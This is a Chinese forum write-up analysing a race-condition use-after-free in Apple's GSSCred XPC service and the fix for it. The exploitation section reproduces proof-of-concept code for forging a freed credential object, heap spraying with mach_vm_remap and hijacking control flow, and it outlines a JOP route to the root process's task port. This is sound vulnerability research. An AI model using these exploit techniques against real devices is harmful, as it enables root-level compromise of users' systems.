一个用户空间的条件竞争漏洞分析

0x00.漏洞产生处

Brandon在com.apple.GSSCredXPC服务中发现了一个条件竞争的漏洞,可以拿到在GSSCred进程内的任意代码执行,这个进程在macOS和iOS上是以root身份执行的,我用我的思考思路整理了一下,结合poc分析。

我们在iOS的沙箱内也是可以访问到这个服务的,首先来看一下初始化的代码:

runQueue = dispatch_queue_create("com.apple.GSSCred", DISPATCH_QUEUE_SERIAL);
heim_assert(runQueue != NULL, "dispatch_queue_create failed");

conn = xpc_connection_create_mach_service("com.apple.GSSCred",
                                          runQueue,
                                          XPC_CONNECTION_MACH_SERVICE_LISTENER);

xpc_connection_set_event_handler(conn, ^(xpc_object_t object) {
	GSSCred_event_handler(object);
});

在XPC服务上创建了一个监听连接的串行队列,这个串行队列就是防止条件竞争的关键,因为GSSCred没有用锁。GSSCred_event_handler()函数负责初始化传入的客户端连接。当从连接接收到事件的时候会创建一个服务器端peer对象来表示conn上下文,并设置XPC runime将调用的event handler

static void GSSCred_event_handler(xpc_connection_t peerconn)
{
	struct peer *peer;

	peer = malloc(sizeof(*peer));
	heim_assert(peer != NULL, "out of memory");

	peer->peer = peerconn;
	peer->bundleID = CopySigningIdentitier(peerconn);
	if (peer->bundleID == NULL) {
		...
	}
	peer->session = HeimCredCopySession(xpc_connection_get_asid(peerconn));
	heim_assert(peer->session != NULL, "out of memory");

	xpc_connection_set_context(peerconn, peer);
	xpc_connection_set_finalizer_f(peerconn, peer_final);

	xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) {
		GSSCred_peer_event_handler(peer, event);
	});
	xpc_connection_resume(peerconn);
}

而上面的代码一个缺少了一个很重要的东西就是xpc_connection_set_target_queue(),通过文档发现如果没有设置队列,默认就是一个并行队列,也就是来自不同客户端的连接请求是串行的,但是里面的事件执行起来确实并行的,事实上这个问题一直没有发现可能还有一个原因就是XPC对于并行处理事件的文档对大家带来了一些误导,下面是英文的原文:

The XPC runtime guarantees this non-preemptiveness even for concurrent target
queues. If the target queue is a concurrent queue, then XPC still guarantees
that there will never be more than one invocation of the connection’s event
handler block executing concurrently. If you wish to process events
concurrently, you can dispatch_async(3) to a concurrent queue from within
the event handler.

可能就是因为上面的加粗字体造成了误解,事实上这个意思是在单个连接中的事件保证是串行的,但是这并不意味着在不同的连接中这些事件是串行的,这就恰恰给了我们机会。

这个漏洞的修补代码为:

xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) {
	GSSCred_peer_event_handler(peer, event);
});
xpc_connection_set_target_queue(peerconn, runQueue);		// 将事件也加到同一个串行队列中
xpc_connection_resume(peerconn);

0x01.漏洞利用

因为这个漏洞的利用条件是在不同的连接中进行条件竞争,所以一定要保持这个race的窗口大小足够大,不然就等不到第二个线程去修改共享的数据。

GSSCred_peer_event_handler()会从XPC消息中读取到command字段来判断其接下来要进行的操作:

Command Function
"wakeup"
"create" do_CreateCred()
"delete" do_Delete()
"setattributes" do_SetAttrs()
"fetch" do_Fetch()
"move" do_Move()
"query" do_Query()
"default" do_GetDefault()
"retain-transient"
"release-transient"
"status" do_Status()

条件竞争我们最好要满足要么这个竞争比较容易胜出,要么失败之后不会崩溃。而对于上述的方法而言,访问共享数据基本都意味着用我们控制的数据去做重分配,这是非常容易崩的。

但是通过观察do_SetAttrs()方法,会有一些新的想法:

static void
do_SetAttrs(struct peer *peer, xpc_object_t request, xpc_object_t reply)
{
	CFUUIDRef uuid = HeimCredCopyUUID(request, "uuid");
	CFMutableDictionaryRef attrs;
	CFErrorRef error = NULL;

	if (uuid == NULL)
		return;

	if (!checkACLInCredentialChain(peer, uuid, NULL)) {
		CFRelease(uuid);
		return;
	}

	HeimCredRef cred = (HeimCredRef)CFDictionaryGetValue(	// A.将指针保存到一个本地变量
			peer->session->items, uuid);		
	CFRelease(uuid);					
	if (cred == NULL)
		return;

	heim_assert(CFGetTypeID(cred) == HeimCredGetTypeID(),
			"cred wrong type");

	if (cred->attributes) {
		attrs = CFDictionaryCreateMutableCopy(NULL, 0,
				cred->attributes);
		if (attrs == NULL)
			return;
	} else {
		attrs = CFDictionaryCreateMutable(NULL, 0,
				&kCFTypeDictionaryKeyCallBacks,
				&kCFTypeDictionaryValueCallBacks);
	}

	CFDictionaryRef replacementAttrs =			// B.将XPC消息反序列化
		HeimCredMessageCopyAttributes(			
				request, "attributes",		
				CFDictionaryGetTypeID());
	if (replacementAttrs == NULL) {
		CFRelease(attrs);
		goto out;
	}

	CFDictionaryApplyFunction(replacementAttrs,
			updateCred, attrs);
	CFRELEASE_NULL(replacementAttrs);

	if (!validateObject(attrs, &error)) {			// C.判断反序列化后的字典合法性
		addErrorToReply(reply, error);
		goto out;					
	}

	handleDefaultCredentialUpdate(peer->session,		// D.保存的指针又被重新使用
			cred, attrs);		
								
	// make sure the current caller is on the ACL list
	addPeerToACL(peer, attrs);

	CFRELEASE_NULL(cred->attributes);
	cred->attributes = attrs;
out:
	CFRELEASE_NULL(error);
}

通过观察A和D两处地方,很容易想到会出现一个UAF的条件竞争,为了尽量提高利用率,我们可以通过增大反序列化的时间来达成,简单的来说,就是增加反序列化数据的大小,构造一个很长的字典

在反序列的过程中,在另外一个线程通过"delete"删除了这个对象,然后用我们的数据去覆盖(因为反序列化的数据是可控的),等到D处重新访问的时候,触发UAF控制PC,然后进入JOP流程,这就是一个非常流畅的过程了,拿到task port之后在macOS上就基本结束了,但是在iOS上只是其中的一步罢了,还需要配合其他的漏洞,任重而道远呐。

接下来就是细节的分析过程了,我分为几个重点:

  1. 如何造成UAF
  2. 如果通过堆风水控制跳转的数据
  3. 怎么样利用JOP提权

UAF

首先来看看我们要覆盖那个对象的结构:

struct HeimCred_s {
	CFRuntimeBase   runtime;	// 00: 0x10 bytes
	CFUUIDRef       uuid;		// 10: 8 bytes
	CFDictionaryRef attributes;	// 18: 8 bytes
	HeimMech *      mech;		// 20: 8 bytes
};					// Total: 0x28 bytes

总大小是0x28,说明被划在0x30freelist中,所以我们的字典中要构造的数据也必须是在这个范围内的,这样才能保证能比较稳定的分配到释放的那个堆块,但是这个字典里面不是什么玩意都能往里塞的,毕竟要触发UAF还要先过合法性检查,通过代码分析可以得出只有以下几种可以放进字典里:

  1. OS_xpc_string
  2. CFString

最后我们选了CFString(其实两种都可以),那么再来看看它的结构:

struct CFString {
	CFRuntimeBase   runtime;	// 00: 0x10 bytes
	uint8_t         length;		// 10: 1 byte
	char            characters[1];	// 11: variable size
};

因为它的大小是根据其字符串的长度来决定的,所以我们只要用长度在0x10-0x1f之间的字符串都可以保证从0x30freelist中分配,这时就有一个难题,我们要控制数据,但是CFString只要碰到空字符就会终止,也就意味着如果我们的跳转地址中有00,就会在那里终止掉。

正常来说,uuidattributesmech三个都是指针,都可以修改,但是如果前两个属性修改成跳转地址,就意味着我们一定会在CFString的大小达到0x20之前终止,因为iOS中用户空间的指针一定会包含00,这样就根本无法从0x30freelist中分配了,所以我们只能在mech字段去做手脚,将其作为跳转地址,从poc中看一下构造的函数就知道了:

static const size_t OFFSET__CFString__characters = 0x11;
static const size_t OFFSET__HeimCred__mech       = 0x20;
static const ssize_t PAYLOAD_OFFSET__HeimMech = 0x0010;
static const uint64_t GSSCRED_RACE_PAYLOAD_ADDRESS = 0x0000000120204000;

static void
generate_uaf_string(char *uaf_string) {
	memset(uaf_string, 'A', GSSCRED_RACE_UAF_STRING_SIZE);
	uint8_t *fake_HeimCred = (uint8_t *)uaf_string - OFFSET__CFString__characters;
	uint8_t *HeimCred_mech = fake_HeimCred + OFFSET__HeimCred__mech;
	*(uint64_t *)HeimCred_mech = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__HeimMech;
}

所以最终我们构造的字典应该形如:

{
	     "command":    "setattributes",
	     "uuid":       ab,
	     "attributes": {
	         "kHEIMAttrBundleIdentifierACL": [
	             "AAAAAAAAA跳转地址",
	             "AAAAAAAAA跳转地址",
	             ...,
	         ],
	     },
	     "mach_send":  <send right to listener port>,
	     "data_0":     <memory entry containing payload>,
	     "data_1":     <memory entry containing payload>,
	     ...,
}

那么等到触发UAF的时候,就会执行handleDefaultCredentialUpdate()函数:

static void
handleDefaultCredentialUpdate(struct HeimSession *session,
		HeimCredRef cred, CFDictionaryRef attrs)
{
	heim_assert(cred->mech != NULL, "mech is NULL, "	
			"schame validation doesn't work ?");	

	CFUUIDRef oldDefault = CFDictionaryGetValue(		
			session->defaultCredentials,		
			cred->mech->name);			

	CFBooleanRef defaultCredential = CFDictionaryGetValue(
			attrs, kHEIMAttrDefaultCredential);
	...
	//这里会发送一个objc message给mech->name,但是数据可控,下面会讲到接下来具体的流程
	CFDictionarySetValue(session->defaultCredentials,
			cred->mech->name, cred->uuid);

	notifyChangedCaches();
}

堆风水

为了保证我们布置的数据能够恰好卡到那个地址上面,我们需要做一些堆空间的布局,来喷射大量内存。但是对于iOS来说,一个进程如果占据了内存超过了一定数目会被jetsam给杀掉,对于GSSCred进程来说,最多只有6M的内存空间。

对于我们做堆喷这个数量显然不够,更别说我们的反序列化过程中会为CFString分配很多空间,但是我们之前从Triple fetch中了解到libxpc面对大于0x4000的数据对象的时候会做内存映射,因为物理页面是共享的,所以并不会被jetsam计算在内。

通过libxpc mach_vm_map()函数并使用VM_FLAGS_ANYWHERE标志调用,内核会选择映射的地址。据Brandon推测,为了最小化地址空间碎片,内核通常会选择靠近程序库的地址。程序库通常位于如下地址0x000000010c65d000:事实上应该比这个地址大了接近4GB(0x100000000),因为有ASLR。然后内核可能会将大的VM_ALLOCATE对象放在一个地址上,例如0x0000000116097000。相比之下,MALLOC_TINY堆(我们所有对象都将存在的位置)可能从 0x00007fb6f0400000(macOS)和0x0000000107100000(iOS)开始。

加上ASLR,我们的mech指针的跳转地址,也就是充满我们布置数据的那个页面,根据Brandon的实验,差不多应该在0x0000000120204000左右,这也是我们选择那个跳转地址的原因。

下面来看看Brandon那个进行堆喷的函数:

static xpc_object_t
gsscred_race_build_payload_spray(const void *payload) {
	//构造一个很大的payload块
	size_t block_size = GSSCRED_RACE_PAYLOAD_SIZE * PAYLOAD_COUNT_PER_BLOCK;
	uint8_t *payload_block = malloc(block_size);
	assert(payload_block != NULL);
	for (size_t i = 0; i < PAYLOAD_COUNT_PER_BLOCK; i++) {
		memcpy(payload_block + i * GSSCRED_RACE_PAYLOAD_SIZE, payload,
				GSSCRED_RACE_PAYLOAD_SIZE);
	}
	// 现在我们会通过remap来创建paload块的拷贝,细节在map_replicate这个函数中
	// 我们会构造出一长串连续的payload block的拷贝,尽管覆盖了大量的虚拟内存地址,但是只会算作占据一个payload块的空间
	size_t map_size = block_size * PAYLOAD_BLOCKS_PER_MAPPING;
	void *payload_map = map_replicate(payload_block, block_size, PAYLOAD_BLOCKS_PER_MAPPING);
	assert(payload_map != NULL);
	free(payload_block);
	//将payload的映射包装在dispatch_data_t中以便不被拷贝,然后将其包装在XPC数据对象中。我们利用了DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE这个参数
	/*!
 	* @const DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE
 	* @discussion The destructor for dispatch data objects that have been created
 	* from buffers that require deallocation using vm_deallocate.
 	*/
 	//通过这个参数的注释可以看到必须用vm_deallocation才能释放对象,这样dispatch_data_make_memory_entry()不会尝试重新映射数据(这会导致我们被Jetsam杀死)。
	dispatch_data_t dispatch_data = dispatch_data_create(payload_map, map_size,
			NULL, DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE);
	assert(dispatch_data != NULL);
	xpc_object_t xpc_data = xpc_data_create_with_dispatch_data(dispatch_data);
	dispatch_release(dispatch_data);
	assert(xpc_data != NULL);
	return xpc_data;
}

接下来把remap的细节也放一下:

static void *
map_replicate(const void *data, size_t data_size, size_t count) {	
	size_t mapping_size = data_size * count;
	mach_vm_address_t mapping;
	kern_return_t kr = mach_vm_allocate(mach_task_self(), &mapping, mapping_size,
			VM_FLAGS_ANYWHERE);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%zx): %x", "mach_vm_allocate", mapping_size, kr);
		goto fail_0;
	}
	//重新分配master slice的第一个段,不确定是否是必须的
	kr = mach_vm_allocate(mach_task_self(), &mapping, data_size,
			VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%zx, %s): %x", "mach_vm_allocate", data_size,
				"VM_FLAGS_OVERWRITE", kr);
		goto fail_1;
	}
	
	memcpy((void *)mapping, data, data_size);
	// 开始循环remap,构造一长串连续的copy出来
	for (size_t i = 1; i < count; i++) {
		mach_vm_address_t remap_address = mapping + i * data_size;
		vm_prot_t current_protection, max_protection;
		kr = mach_vm_remap(mach_task_self(),
				&remap_address,
				data_size,
				0,
				VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
				mach_task_self(),
				mapping,
				FALSE,
				&current_protection,
				&max_protection,
				VM_INHERIT_NONE);
		if (kr != KERN_SUCCESS) {
			ERROR("%s(%s): %x", "mach_vm_remap", "VM_FLAGS_OVERWRITE", kr);
			goto fail_1;
		}
	}
	// All set! We should have one big memory object now.
	return (void *)mapping;
fail_1:
	mach_vm_deallocate(mach_task_self(), mapping, mapping_size);
fail_0:
	return NULL;
}

通过伪造的mech的指针跳转之后,如果我们布置的数据卡到了那里,那么前面一段的内存分布应该为:

0x0000000120204000: key

0x0000000120204008: imp

0x0000000120204010: 0x0000000120204000

0x0000000120204018: 0(mask)

0x0000000120204020: 0x0000000120204028(name)

0x0000000120204028: 0x0000000120204000

我们首先要了解CFRuntimeBase的结构:

typedef struct __CFRuntimeBase {
    uintptr_t _cfisa;
    uint8_t _cfinfo[4];
#if __LP64__
    uint32_t _rc;
#endif
} CFRuntimeBase;

所以0x0000000120204000就是isa指针,那么学过OC的人肯定都知道了,通过imp,也就是函数实际地址去劫持PC,如果有疑问的话可以参考phrack的文章

JOP

不管是JOP还是ROP,接下来想要做的提权操作都是要拿到GSSCredtask port,这里可以用到Triple fetch中的方法,让GSSCred把它的task port发给我们,但是Brandon做了一些小小的改变,lan beer是通过喷射大量的Mach port,以此来解决port name不确定的问题。而Brandon选择了只发送一个Mach port,但发送很多个消息,remote port设置为各种各样的port name,再接受消息。相当于两者的角度不同,但是殊途同归。

Brandon设置想要直接通过寄存器和栈上的数据直接推断出port name,但显然这个要复杂得多。

在劫持了控制流拿到了task port之后我们必须进行收尾工作,让我们从劫持的那里恢复继续执行是一件比较困难的事,所以我们会让那个线程一直循环,这也意味着 do_SetAttr 永远不会返回了。

0x02.参考链接

Bazad’s Blog

phrack

2 个赞

这个作者Brandon Azad好强,又提醒我该努力学习了